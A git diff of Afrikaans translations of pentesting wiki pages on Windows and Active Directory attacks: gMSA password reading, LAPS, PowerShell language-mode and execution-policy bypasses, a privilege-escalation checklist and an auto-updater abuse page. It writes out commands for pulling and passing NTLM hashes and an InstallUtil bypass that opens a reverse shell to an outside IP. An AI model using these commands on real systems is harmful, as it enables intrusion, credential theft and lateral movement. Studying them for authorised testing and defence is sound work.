-- **Outomatiese Wagwoordbestuur**: gMSA's gebruik 'n komplekse, 240-karakter wagwoord wat outomaties verander volgens domein- of rekenaarbeleid. Hierdie proses word deur Microsoft's Key Distribution Service (KDC) hanteer, wat die behoefte aan handmatige wagwoordopdaterings uitskakel.
-- **Verbeterde Sekuriteit**: Hierdie rekeninge is immuun teen kontosluitings en kan nie vir interaktiewe aanmeldings gebruik word nie, wat hul sekuriteit verhoog.
-- **Ondersteuning vir Meerdere Host**: gMSA's kan oor meerdere hosts gedeel word, wat hulle ideaal maak vir dienste wat op meerdere bedieners loop.
-- **Geskeduleerde Taakvermoë**: Anders as managed service accounts, ondersteun gMSA's die uitvoering van geskeduleerde take.
+- **Outomatiese wagwoordbestuur**: gMSAs gebruik 'n komplekse, 240-karakter wagwoord wat outomaties verander volgens domein- of rekenaarbeleid. Hierdie proses word deur Microsoft se Key Distribution Service (KDC) hanteer, wat die behoefte aan handmatige wagwoordopdaterings uitskakel.
+- **Verbeterde veiligheid**: Hierdie rekeninge is immuun vir lockouts en kan nie vir interaktiewe aanmeldings gebruik word nie, wat hul veiligheid verhoog.
+- **Meervoudige gasheerondersteuning**: gMSAs kan oor verskeie gasheer gedeel word, wat dit ideaal maak vir dienste wat op veelvuldige bedieners loop.
+- **Geskeduleerde Taak-ondersteuning**: Anders as managed service accounts, ondersteun gMSAs die uitvoering van geskeduleerde take.
 - **Vereenvoudigde SPN-bestuur**: Die stelsel werk die Service Principal Name (SPN) outomaties by wanneer daar veranderinge aan die rekenaar se sAMaccount-besonderhede of DNS-naam is, wat SPN-bestuur vereenvoudig.
 
-Die wagwoorde vir gMSA's word gestoor in die LDAP-eiendom _**msDS-ManagedPassword**_ en word outomaties elke 30 dae deur Domain Controllers (DCs) gereset. Hierdie wagwoord, 'n enkodeerde datablik bekend as [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), kan slegs deur gemagtigde administrateurs en die bedieners waarop die gMSA's geïnstalleer is, onttrek word, wat 'n veilige omgewing verseker. Om by hierdie inligting te kom, is 'n beveiligde verbinding soos LDAPS vereis, of die verbinding moet met 'Sealing & Secure' geverifieer wees.
+Die wagwoorde vir gMSAs word in die LDAP-eiendom _**msDS-ManagedPassword**_ gestoor en word outomaties elke 30 dae deur Domain Controllers (DCs) gereset. Hierdie wagwoord, 'n enkripteerde datablik bekend as [MSDS-MANAGEDPASSWORD_BLOB](https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e), kan slegs deur gemagtigde administrateurs en die bedieners waarop die gMSAs geïnstalleer is, verkry word, wat 'n veilige omgewing verseker. Om by hierdie inligting uit te kom, is 'n gesekuriseerde verbinding soos LDAPS vereis, of die verbinding moet geverifieer wees met 'Sealing & Secure'.
 
 ![https://cube0x0.github.io/Relaying-for-gMSA/](../../images/asd1.png)
 
-Jy kan hierdie wagwoord uitlees met [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:**
+Jy kan hierdie wagwoord lees met [**GMSAPasswordReader**](https://github.com/rvazarkar/GMSAPasswordReader)**:**
 ```
 /GMSAPasswordReader --AccountName jkohler
 ```
@@ -161,44 +161,44 @@ Jy kan hierdie wagwoord uitlees met [**GMSAPasswordReader**](https://github.com/
 
 Also, check this [web page](https://cube0x0.github.io/Relaying-for-gMSA/) about how to perform a **NTLM relay attack** to **read** the **password** of **gMSA**.
 
-### Abusing ACL chaining to read gMSA managed password (GenericAll -> ReadGMSAPassword)
+### Misbruik van ACL-chaining om gMSA-beheerde wagwoord te lees (GenericAll -> ReadGMSAPassword)
 
-In baie omgewings kan laag‑privilegie gebruikers sonder om die DC te kompromitteer na gMSA‑geheime draai deur miskonfigureerde objek‑ACLs te misbruik:
+In baie omgewings kan laag-geprivilegieerde gebruikers na gMSA-geheime skuif sonder om die DC te kompromitteer deur misgekonfigureerde object ACLs te misbruik:
 
-- 'n groep wat jy kan beheer (bv. via GenericAll/GenericWrite) word toegestaan met `ReadGMSAPassword` oor 'n gMSA.
+- ’n groep wat jy kan beheer (bv. via GenericAll/GenericWrite) kry toegeken `ReadGMSAPassword` oor ’n gMSA.
 - Deur jouself by daardie groep te voeg, erf jy die reg om die gMSA se `msDS-ManagedPassword` blob oor LDAP te lees en bruikbare NTLM credentials af te lei.
 
-Tipiese werkvloeistroom:
+Tipiese werkvloei:
 
-1) Ontdek die pad met BloodHound en merk jou foothold‑principals as Owned. Soek na rande soos:
+1) Vind die pad met BloodHound en merk jou foothold-prinsipale as Owned. Soek vir kante soos:
 - GroupA GenericAll -> GroupB; GroupB ReadGMSAPassword -> gMSA
 
 2) Voeg jouself by die tussengroep wat jy beheer (voorbeeld met bloodyAD):
 ```bash
 bloodyAD --host <DC.FQDN> -d <domain> -u <user> -p <pass> add groupMember <GroupWithReadGmsa> <user>
 ```
-3) Lees die gMSA-beheerde wagwoord via LDAP en lei die NTLM-hash af. NetExec outomatiseer die uittrekking van `msDS-ManagedPassword` en die omskakeling na NTLM:
+3) Lees die gMSA-beheerde wagwoord via LDAP en lei die NTLM-hash af. NetExec outomatiseer die onttrekking van `msDS-ManagedPassword` en die omskakeling na NTLM:
 ```bash
 # Shows PrincipalsAllowedToReadPassword and computes NTLM automatically
 netexec ldap <DC.FQDN> -u <user> -p <pass> --gmsa
 # Account: mgtsvc$  NTLM: edac7f05cded0b410232b7466ec47d6f
 ```
-4) Meld aan as die gMSA deur die NTLM-hash te gebruik (geen plaintext nodig nie). As die rekening in Remote Management Users is, sal WinRM direk werk:
+4) Verifieer as die gMSA deur die NTLM hash te gebruik (no plaintext needed). As die rekening in Remote Management Users is, sal WinRM direk werk:
 ```bash
 # SMB / WinRM as the gMSA using the NT hash
 netexec smb   <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
 netexec winrm <DC.FQDN> -u 'mgtsvc$' -H <NTLM>
 ```
 Notes:
-- LDAP reads of `msDS-ManagedPassword` require sealing (e.g., LDAPS/sign+seal). Tools handle this automatically.
-- gMSAs word dikwels voorsien van plaaslike regte soos WinRM; verifieer groep-lidmaatskap (bv. Remote Management Users) om laterale beweging te beplan.
-- As jy net die blob nodig het om die NTLM self te bereken, sien MSDS-MANAGEDPASSWORD_BLOB-structuur.
+- LDAP-lesings van `msDS-ManagedPassword` vereis sealing (bv., LDAPS/sign+seal). Tools hanteer dit outomaties.
+- gMSAs kry dikwels plaaslike regte soos WinRM; valideer groepslidmaatskap (bv., Remote Management Users) om lateral movement te beplan.
+- As jy net die blob nodig het om self die NTLM te bereken, sien MSDS-MANAGEDPASSWORD_BLOB struktuur.
 
 
 
 ## LAPS
 
-Die **Local Administrator Password Solution (LAPS)**, beskikbaar vir aflaai by [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), stel die bestuur van plaaslike Administrator-wagwoorde in staat. Hierdie wagwoorde, wat **willekeurig gegenereer**, uniek en **gereeld verander** word, word sentraal in Active Directory gestoor. Toegang tot hierdie wagwoorde word deur ACLs beperk tot gemagtigde gebruikers. As voldoende toestemmings toegeken is, kan die vermoë om plaaslike admin-wagwoorde te lees verkry word.
+Die **Local Administrator Password Solution (LAPS)**, available for download from [Microsoft](https://www.microsoft.com/en-us/download/details.aspx?id=46899), maak die bestuur van plaaslike Administrator-wagwoorde moontlik. Hierdie wagwoorde, wat **willekeurig** gegenereer, uniek, en **gereeld verander** word, word sentraal in Active Directory gestoor. Toegang tot hierdie wagwoorde word deur ACLs tot geautoriseerde gebruikers beperk. Met voldoende bevoegdhede toegestaan, word die vermoë gebied om plaaslike admin-wagwoorde te lees.
 
 
 {{#ref}}
@@ -207,7 +207,7 @@ Die **Local Administrator Password Solution (LAPS)**, beskikbaar vir aflaai by [
 
 ## PS Constrained Language Mode
 
-PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **sluit baie van die funksies af** wat nodig is om PowerShell effektief te gebruik, soos die blokkering van COM-objekte, beperking tot goedgekeurde .NET-tipes, XAML-gebaseerde workflows, PowerShell-klasse, en meer.
+PowerShell [**Constrained Language Mode**](https://devblogs.microsoft.com/powershell/powershell-constrained-language-mode/) **beperk baie van die funksies** wat nodig is om PowerShell effektief te gebruik, soos die blokkering van COM-objekte, slegs goedgekeurde .NET-tipes toelaat, XAML-gebaseerde workflows, PowerShell-klasse, en meer.
 
 ### **Kontroleer**
 ```bash
@@ -219,8 +219,8 @@ $ExecutionContext.SessionState.LanguageMode
 #Easy bypass
 Powershell -version 2
 ```
-In huidige Windows sal daardie bypass nie werk nie, maar jy kan [ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM).\
-**Om dit te compileer mag jy** **moet** _**Voeg 'n verwysing by**_ -> _Blaai_ -> _Blaai_ -> voeg `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` by en **verander die projek na .Net4.5**.
+In huidige Windows sal daardie Bypass nie werk nie, maar jy kan [ **PSByPassCLM**](https://github.com/padovah4ck/PSByPassCLM) gebruik.\  
+**Om dit te kompileer mag jy** **om** _**Add a Reference**_ -> _Browse_ ->_Browse_ -> voeg `C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0\31bf3856ad364e35\System.Management.Automation.dll` by en **verander die projek na .Net4.5**.
 
 #### Direkte bypass:
 ```bash
@@ -230,11 +230,11 @@ C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogTo
 ```bash
 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /revshell=true /rhost=10.10.13.206 /rport=443 /U c:\temp\psby.exe
 ```
-Jy kan [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) of [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) gebruik om **Powershell**-kode in enige proses uit te voer en die constrained mode te omseil. Vir meer inligting sien: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
+Jy kan [**ReflectivePick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) of [**SharpPick**](https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick) gebruik om **execute Powershell** code in enige proses uit te voer en die constrained mode te bypass. Vir meer info sien: [https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode](https://hunter2.gitbook.io/darthsidious/defense-evasion/bypassing-applocker-and-powershell-constrained-language-mode).
 
 ## PS Uitvoeringsbeleid
 
-Standaard is dit ingestel op **restricted.** Hoof maniere om hierdie beleid te omseil:
+Standaard is dit gestel op **restricted.** Hoof maniere om hierdie beleid te bypass:
 ```bash
 1º Just copy and paste inside the interactive PS console
 2º Read en Exec
@@ -254,32 +254,32 @@ Powershell -command "Write-Host 'My voice is my passport, verify me.'"
 9º Use EncodeCommand
 $command = "Write-Host 'My voice is my passport, verify me.'" $bytes = [System.Text.Encoding]::Unicode.GetBytes($command) $encodedCommand = [Convert]::ToBase64String($bytes) powershell.exe -EncodedCommand $encodedCommand
 ```
-Meer inligting is beskikbaar [hier](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
+Meer inligting is beskikbaar [here](https://blog.netspi.com/15-ways-to-bypass-the-powershell-execution-policy/)
 
 ## Security Support Provider Interface (SSPI)
 
-Is die API wat gebruik kan word om gebruikers te verifieer.
+Dit is die API wat gebruik kan word om gebruikers te verifieer.
 
-Die SSPI is verantwoordelik om die geskikte protokol te vind vir twee masjiene wat wil kommunikeer. Die voorkeurmetode hiervoor is Kerberos. Dan sal die SSPI onderhandel watter verifikasieprotokol gebruik sal word; hierdie verifikasieprotokolle word Security Support Provider (SSP) genoem, is geleë in elke Windows-masjien in die vorm van 'n DLL en beide masjiene moet dieselfde ondersteun om te kan kommunikeer.
+Die SSPI is verantwoordelik om die geskikte protokol te vind vir twee masjiene wat wil kommunikeer. Die voorkeurmetode hiervoor is Kerberos. Die SSPI sal dan onderhandel watter authentication protocol gebruik sal word; hierdie authentication protocols word Security Support Provider (SSP) genoem, is in elke Windows-masjien in die vorm van 'n DLL geleë, en beide masjiene moet dieselfde ondersteun om te kan kommunikeer.
 
-### Hoof SSPs
+### Main SSPs
 
-- **Kerberos**: Die voorkeur een
+- **Kerberos**: Die voorkeur
 - %windir%\Windows\System32\kerberos.dll
-- **NTLMv1** and **NTLMv2**: Kompatibiliteitsredes
+- **NTLMv1** and **NTLMv2**: vir versoenbaarheidsredes
 - %windir%\Windows\System32\msv1_0.dll
-- **Digest**: Webservers en LDAP, wagwoord in die vorm van 'n MD5-hash
+- **Digest**: Webservers en LDAP; wagwoord in die vorm van 'n MD5-hash
 - %windir%\Windows\System32\Wdigest.dll
-- **Schannel**: SSL and TLS
+- **Schannel**: SSL en TLS
 - %windir%\Windows\System32\Schannel.dll
-- **Negotiate**: Dit word gebruik om die protokol te onderhandel wat gebruik moet word (Kerberos of NTLM, met Kerberos as die verstek)
+- **Negotiate**: Word gebruik om die protokol te onderhandel wat gebruik gaan word (Kerberos of NTLM, met Kerberos as die verstek)
 - %windir%\Windows\System32\lsasrv.dll
 
-#### Die onderhandeling kan verskeie metodes of net een aanbied.
+#### Die onderhandeling kan verskeie metodes of slegs een aanbied.
 
 ## UAC - User Account Control
 
-[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) is 'n funksie wat 'n **toestemmingprompt vir verhoogde aktiwiteite** moontlik maak.
+[User Account Control (UAC)](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works) is 'n funksie wat 'n **toestemmingsprompt vir aktiwiteite met verhoogde regte** moontlik maak.
 
 
 {{#ref}}

src/windows-hardening/checklist-windows-privilege-escalation.md

@@ -2,14 +2,14 @@
 
 {{#include ../banners/hacktricks-training.md}}
 
-### **Beste hulpmiddel om Windows local privilege escalation vektore te soek:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
+### **Beste hulpmiddel om na Windows local privilege escalation vektore te soek:** [**WinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS)
 
-### [System Info](windows-local-privilege-escalation/index.html#system-info)
+### [Stelselinligting](windows-local-privilege-escalation/index.html#system-info)
 
-- [ ] Verkry [**System information**](windows-local-privilege-escalation/index.html#system-info)
-- [ ] Soek na **kernel** [**exploits using scripts**](windows-local-privilege-escalation/index.html#version-exploits)
-- [ ] Gebruik **Google to search** vir kernel **exploits**
-- [ ] Gebruik **searchsploit to search** vir kernel **exploits**
+- [ ] Verkry [**stelselinligting**](windows-local-privilege-escalation/index.html#system-info)
+- [ ] Soek vir **kernel** [**exploits using scripts**](windows-local-privilege-escalation/index.html#version-exploits)
+- [ ] Gebruik **Google** om na kernel **exploits** te soek
+- [ ] Gebruik **searchsploit** om na kernel **exploits** te soek
 - [ ] Interessante inligting in [**env vars**](windows-local-privilege-escalation/index.html#environment)?
 - [ ] Wagwoorde in [**PowerShell history**](windows-local-privilege-escalation/index.html#powershell-history)?
 - [ ] Interessante inligting in [**Internet settings**](windows-local-privilege-escalation/index.html#internet-settings)?
@@ -18,11 +18,11 @@
 - [ ] [**Third-party agent auto-updaters / IPC abuse**](windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md)
 - [ ] [**AlwaysInstallElevated**](windows-local-privilege-escalation/index.html#alwaysinstallelevated)?
 
-### [Logging/AV enumeration](windows-local-privilege-escalation/index.html#enumeration)
+### [Logboek/AV enumerasie](windows-local-privilege-escalation/index.html#enumeration)
 
-- [ ] Kontroleer [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings) en [**WEF** ](windows-local-privilege-escalation/index.html#wef) instellings
+- [ ] Kontroleer [**Audit** ](windows-local-privilege-escalation/index.html#audit-settings)en [**WEF** ](windows-local-privilege-escalation/index.html#wef)instellings
 - [ ] Kontroleer [**LAPS**](windows-local-privilege-escalation/index.html#laps)
-- [ ] Kontroleer of [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest) aktief is
+- [ ] Kontroleer of [**WDigest** ](windows-local-privilege-escalation/index.html#wdigest)akti ef is
 - [ ] [**LSA Protection**](windows-local-privilege-escalation/index.html#lsa-protection)?
 - [ ] [**Credentials Guard**](windows-local-privilege-escalation/index.html#credentials-guard)[?](windows-local-privilege-escalation/index.html#cached-credentials)
 - [ ] [**Cached Credentials**](windows-local-privilege-escalation/index.html#cached-credentials)?
@@ -30,79 +30,79 @@
 - [ ] [**AppLocker Policy**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/README.md#applocker-policy)?
 - [ ] [**UAC**](https://github.com/carlospolop/hacktricks/blob/master/windows-hardening/authentication-credentials-uac-and-efs/uac-user-account-control/README.md)
 - [ ] [**User Privileges**](windows-local-privilege-escalation/index.html#users-and-groups)
-- [ ] Kontroleer [**current** user **privileges**](windows-local-privilege-escalation/index.html#users-and-groups)
-- [ ] Is jy [**member of any privileged group**](windows-local-privilege-escalation/index.html#privileged-groups)?
+- [ ] Kontroleer [**huidige** gebruiker **privileges**](windows-local-privilege-escalation/index.html#users-and-groups)
+- [ ] Is jy [**lid van enige bevoorregte groep**](windows-local-privilege-escalation/index.html#privileged-groups)?
 - [ ] Kontroleer of jy enige van hierdie tokens geaktiveer het: **SeImpersonatePrivilege, SeAssignPrimaryPrivilege, SeTcbPrivilege, SeBackupPrivilege, SeRestorePrivilege, SeCreateTokenPrivilege, SeLoadDriverPrivilege, SeTakeOwnershipPrivilege, SeDebugPrivilege** ?
 - [ ] [**Users Sessions**](windows-local-privilege-escalation/index.html#logged-users-sessions)?
-- [ ] Kontroleer [ **users homes**](windows-local-privilege-escalation/index.html#home-folders) (access?)
+- [ ] Kontroleer [ **tuismappe**](windows-local-privilege-escalation/index.html#home-folders) (toegang?)
 - [ ] Kontroleer [**Password Policy**](windows-local-privilege-escalation/index.html#password-policy)
-- [ ] Wat is[ **inside the Clipboard**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)?
+- [ ] Wat is [ **binne die Knipbord**](windows-local-privilege-escalation/index.html#get-the-content-of-the-clipboard)?
 
-### [Network](windows-local-privilege-escalation/index.html#network)
+### [Netwerk](windows-local-privilege-escalation/index.html#network)
 
-- [ ] Kontroleer **huidige** [**network** **information**](windows-local-privilege-escalation/index.html#network)
-- [ ] Kontroleer **hidden local services** wat na die buitekant beperk is
+- [ ] Kontroleer **huidige** [**netwerk** **inligting**](windows-local-privilege-escalation/index.html#network)
+- [ ] Kyk na verborge plaaslike dienste wat na buite beperk is
 
-### [Running Processes](windows-local-privilege-escalation/index.html#running-processes)
+### [Aktiewe Prosesse](windows-local-privilege-escalation/index.html#running-processes)
 
-- [ ] Kontroleer proses-binaries [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions)
+- [ ] Lêer- en vouerpermissies van proses-binaries [**file and folders permissions**](windows-local-privilege-escalation/index.html#file-and-folder-permissions)
 - [ ] [**Memory Password mining**](windows-local-privilege-escalation/index.html#memory-password-mining)
 - [ ] [**Insecure GUI apps**](windows-local-privilege-escalation/index.html#insecure-gui-apps)
-- [ ] Steel credentials met **interesting processes** via `ProcDump.exe` ? (firefox, chrome, etc ...)
+- [ ] Steel kredensiële met **interessante prosesse** via `ProcDump.exe` ? (firefox, chrome, ens ...)
 
-### [Services](windows-local-privilege-escalation/index.html#services)
+### [Dienste](windows-local-privilege-escalation/index.html#services)
 
-- [ ] [Can you **modify any service**?](windows-local-privilege-escalation/index.html#permissions)
-- [ ] [Can you **modify** the **binary** that is **executed** by any **service**?](windows-local-privilege-escalation/index.html#modify-service-binary-path)
-- [ ] [Can you **modify** the **registry** of any **service**?](windows-local-privilege-escalation/index.html#services-registry-modify-permissions)
-- [ ] [Can you take advantage of any **unquoted service** binary **path**?](windows-local-privilege-escalation/index.html#unquoted-service-paths)
+- [ ] [Kan jy **enige diens wysig**?](windows-local-privilege-escalation/index.html#permissions)
+- [ ] [Kan jy die **binêre** wat deur enige **diens** uitgevoer word **wysig**?](windows-local-privilege-escalation/index.html#modify-service-binary-path)
+- [ ] [Kan jy die **register** van enige **diens** **wysig**?](windows-local-privilege-escalation/index.html#services-registry-modify-permissions)
+- [ ] [Kan jy voordeel trek uit enige **unquoted service** binêre **pad**?](windows-local-privilege-escalation/index.html#unquoted-service-paths)
 
-### [**Applications**](windows-local-privilege-escalation/index.html#applications)
+### [Toepassings](windows-local-privilege-escalation/index.html#applications)
 
-- [ ] **Skryf** [**permissions on installed applications**](windows-local-privilege-escalation/index.html#write-permissions)
+- [ ] **Skryf** [**permissies op geïnstalleerde toepassings**](windows-local-privilege-escalation/index.html#write-permissions)
 - [ ] [**Startup Applications**](windows-local-privilege-escalation/index.html#run-at-startup)
 - [ ] **Kwetsbare** [**Drivers**](windows-local-privilege-escalation/index.html#drivers)
 
 ### [DLL Hijacking](windows-local-privilege-escalation/index.html#path-dll-hijacking)
 
-- [ ] Kan jy **write in any folder inside PATH**?
-- [ ] Is daar enige bekende service binary wat **tries to load any non-existant DLL**?
-- [ ] Kan jy **Skryf** in enige **binaries folder**?
+- [ ] Kan jy **skryf** in enige gids binne **PATH**?
+- [ ] Is daar enige bekende diens-binêre wat probeer om enige nie-bestaande **DLL** te laai?
+- [ ] Kan jy **skryf** in enige **binêre**-gids?
 
-### [Network](windows-local-privilege-escalation/index.html#network)
+### [Netwerk](windows-local-privilege-escalation/index.html#network)
 
-- [ ] Enumereer die netwerk (shares, interfaces, routes, neighbours, ...)
-- [ ] Gee besondere aandag aan netwerkdienste wat op localhost (127.0.0.1) luister
+- [ ] Ontleed die netwerk (shares, interfaces, routes, neighbours, ...)
+- [ ] Neem besondere kennis van netwerkdienste wat op localhost (127.0.0.1) luister
 
-### [Windows Credentials](windows-local-privilege-escalation/index.html#windows-credentials)
+### [Windows-kredensiële](windows-local-privilege-escalation/index.html#windows-credentials)
 
-- [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials)credentials
-- [ ] [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) credentials wat jy kan gebruik?
+- [ ] [**Winlogon** ](windows-local-privilege-escalation/index.html#winlogon-credentials) kredensiële
+- [ ] [**Windows Vault**](windows-local-privilege-escalation/index.html#credentials-manager-windows-vault) kredensiële wat jy kan gebruik?
 - [ ] Interessante [**DPAPI credentials**](windows-local-privilege-escalation/index.html#dpapi)?
 - [ ] Wagwoorde van gestoorde [**Wifi networks**](windows-local-privilege-escalation/index.html#wifi)?
 - [ ] Interessante inligting in [**saved RDP Connections**](windows-local-privilege-escalation/index.html#saved-rdp-connections)?
 - [ ] Wagwoorde in [**recently run commands**](windows-local-privilege-escalation/index.html#recently-run-commands)?
 - [ ] [**Remote Desktop Credentials Manager**](windows-local-privilege-escalation/index.html#remote-desktop-credential-manager) wagwoorde?
-- [ ] [**AppCmd.exe** exists](windows-local-privilege-escalation/index.html#appcmd-exe)? Wagwoorde?
+- [ ] [**AppCmd.exe** bestaan](windows-local-privilege-escalation/index.html#appcmd-exe)? Kredensiële?
 - [ ] [**SCClient.exe**](windows-local-privilege-escalation/index.html#scclient-sccm)? DLL Side Loading?
 
-### [Files and Registry (Credentials)](windows-local-privilege-escalation/index.html#files-and-registry-credentials)
+### [Lêers en Register (Kredensiële)](windows-local-privilege-escalation/index.html#files-and-registry-credentials)
 
-- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **and** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys)
+- [ ] **Putty:** [**Creds**](windows-local-privilege-escalation/index.html#putty-creds) **en** [**SSH host keys**](windows-local-privilege-escalation/index.html#putty-ssh-host-keys)
 - [ ] [**SSH keys in registry**](windows-local-privilege-escalation/index.html#ssh-keys-in-registry)?
 - [ ] Wagwoorde in [**unattended files**](windows-local-privilege-escalation/index.html#unattended-files)?
-- [ ] Enige [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups) backup?
+- [ ] Enige [**SAM & SYSTEM**](windows-local-privilege-escalation/index.html#sam-and-system-backups) rugsteun?
 - [ ] [**Cloud credentials**](windows-local-privilege-escalation/index.html#cloud-credentials)?
 - [ ] [**McAfee SiteList.xml**](windows-local-privilege-escalation/index.html#mcafee-sitelist.xml) lêer?
 - [ ] [**Cached GPP Password**](windows-local-privilege-escalation/index.html#cached-gpp-pasword)?
 - [ ] Wagwoord in [**IIS Web config file**](windows-local-privilege-escalation/index.html#iis-web-config)?
 - [ ] Interessante inligting in [**web** **logs**](windows-local-privilege-escalation/index.html#logs)?
-- [ ] Wil jy [**ask for credentials**](windows-local-privilege-escalation/index.html#ask-for-credentials) aan die gebruiker?
-- [ ] Interessante [**files inside the Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)?
-- [ ] Ander [**registry containing credentials**](windows-local-privilege-escalation/index.html#inside-the-registry)?
-- [ ] Binne [**Browser data**](windows-local-privilege-escalation/index.html#browsers-history) (dbs, history, bookmarks, ...)?
+- [ ] Wil jy [**vir kredensiële vra**](windows-local-privilege-escalation/index.html#ask-for-credentials) by die gebruiker?
+- [ ] Interessante [**lêers binne die Recycle Bin**](windows-local-privilege-escalation/index.html#credentials-in-the-recyclebin)?
+- [ ] Ander [**register wat kredensiële bevat**](windows-local-privilege-escalation/index.html#inside-the-registry)?
+- [ ] Binne [**Blaaierdata**](windows-local-privilege-escalation/index.html#browsers-history) (dbs, geskiedenis, boekmerke, ...)?
 - [ ] [**Generic password search**](windows-local-privilege-escalation/index.html#generic-password-search-in-files-and-registry) in lêers en register
-- [ ] [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) om outomaties vir wagwoorde te soek
+- [ ] [**Tools**](windows-local-privilege-escalation/index.html#tools-that-search-for-passwords) om outomaties na wagwoorde te soek
 
 ### [Leaked Handlers](windows-local-privilege-escalation/index.html#leaked-handlers)
 
@@ -110,6 +110,6 @@
 
 ### [Pipe Client Impersonation](windows-local-privilege-escalation/index.html#named-pipe-client-impersonation)
 
-- [ ] Kontroleer of jy dit kan misbruik
+- [ ] Kyk of jy dit kan misbruik
 
 {{#include ../banners/hacktricks-training.md}}

src/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc.md

@@ -1,28 +1,28 @@
-# Misbruik van Enterprise Auto-Updaters en Geprivilegieerde IPC (bv., Netskope stAgentSvc)
+# Abusing Enterprise Auto-Updaters and Privileged IPC (e.g., Netskope stAgentSvc)
 
 {{#include ../../banners/hacktricks-training.md}}
 
-Hierdie bladsy veralgemeen ’n klas Windows lokale privilege‑escalation kettings wat gevind word in enterprise endpoint agents en updaters wat ’n laag‑friksie IPC‑oppervlak en ’n geprivilegieerde update‑vloei blootstel. ’n Reprensentatiewe voorbeeld is Netskope Client for Windows < R129 (CVE-2025-0309), waar ’n laag‑geprivilegieerde gebruiker inskrywing na ’n aanvaller‑beheer­de bediener kan afdwing en daarna ’n kwaadaardige MSI kan lewer wat die SYSTEM‑diens installeer.
+This page generalizes a class of Windows local privilege escalation chains found in enterprise endpoint agents and updaters that expose a low‑friction IPC surface and a privileged update flow. A representative example is Netskope Client for Windows < R129 (CVE-2025-0309), where a low‑privileged user can coerce enrollment into an attacker‑controlled server and then deliver a malicious MSI that the SYSTEM service installs.
 
-Belangrike idees wat jy teen soortgelyke produkte kan hergebruik:
-- Misbruik ’n geprivilegieerde diens se localhost IPC om her‑inskrywing of herkonfigurering na ’n aanvaller‑bediener af te dwing.
-- Implementeer die vendor se update‑endpoints, lewer ’n rogue Trusted Root CA, en punt die updater na ’n kwaadwillige, “signed” pakket.
-- Ontduik swak signer checks (CN allow‑lists), opsionele digest‑vlae, en laks MSI‑eienskappe.
-- As IPC “encrypted” is, lei die key/IV af vanaf wêreld‑leesbare masjien‑identifiseerders wat in die registry gestoor is.
-- As die diens oproepers beperk volgens image path/process name, inject in ’n allow‑listed proses of spawn een geskors en bootstrap jou DLL via ’n minimale thread‑context patch.
+Key ideas you can reuse against similar products:
+- Misbruik ’n bevoorregte diens se localhost IPC om herinskrywing of herkonfigurasie na ’n aanvallerserwer af te dwing.
+- Implementeer die verskaffer se update-endpoints, lewer ’n kwaadwillige Trusted Root CA, en verwys die updater na ’n kwaadwillige, “signed” pakket.
+- Ontduik swak signer‑kontroles (CN allow‑lists), opsionele digest‑vlagte, en slordige MSI‑eienskappe.
+- As IPC “encrypted” is, lei die key/IV af vanaf algemeen leesbare masjienidentifikasies wat in die registry gestoor word.
+- As die diens bellers beperk op grond van image path/process name, injekteer in ’n allow‑listed proses of spawn een suspended en bootstrap jou DLL via ’n minimale thread‑context patch.
 
 ---
-## 1) Forceer inskrywing na ’n aanvaller‑bediener via localhost IPC
+## 1) Forcing enrollment to an attacker server via localhost IPC
 
-Baie agents lewer ’n user‑mode UI‑proses wat met ’n SYSTEM‑diens oor localhost TCP kommunikeer met JSON.
+Many agents ship a user‑mode UI process that talks to a SYSTEM service over localhost TCP using JSON.
 
-Waargeneem in Netskope:
+Observed in Netskope:
 - UI: stAgentUI (low integrity) ↔ Service: stAgentSvc (SYSTEM)
 - IPC command ID 148: IDP_USER_PROVISIONING_WITH_TOKEN
 
-Uitbuitingsvloei:
